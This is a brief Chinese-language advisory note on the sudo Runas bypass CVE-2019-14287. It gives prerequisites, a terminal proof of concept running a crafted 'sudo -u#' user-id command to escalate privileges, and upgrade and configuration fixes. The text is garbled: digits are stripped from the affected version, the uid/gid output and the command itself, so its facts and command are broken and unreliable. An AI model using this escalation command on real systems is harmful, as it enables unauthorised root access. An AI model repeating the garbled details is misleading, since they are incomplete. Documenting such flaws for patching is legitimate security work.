应用安全 - 软件漏洞 - sudo漏洞汇总

sudo Potential bypass of Runas user restrictions(CVE-2019-14287 )

Date:
2019.10.14

类型：

sudo提权漏洞

影响版本：
sudo < 1.8.

前提：
知道当前用户的密码
当前用户存在于sudo权限列表

root@root-Pc:~$ id
uid=(root) gid=(root) 组=(root),(adm),(cdrom),(sudo),(dip),(plugdev),(lpadmin),(sambashare)
root@root-Pc:~$ sudo -u#- id
[sudo] root 的密码：
uid=(root) gid=(mark) 组=(mark)

修复：
升级sudo版本
修改sudo用户列表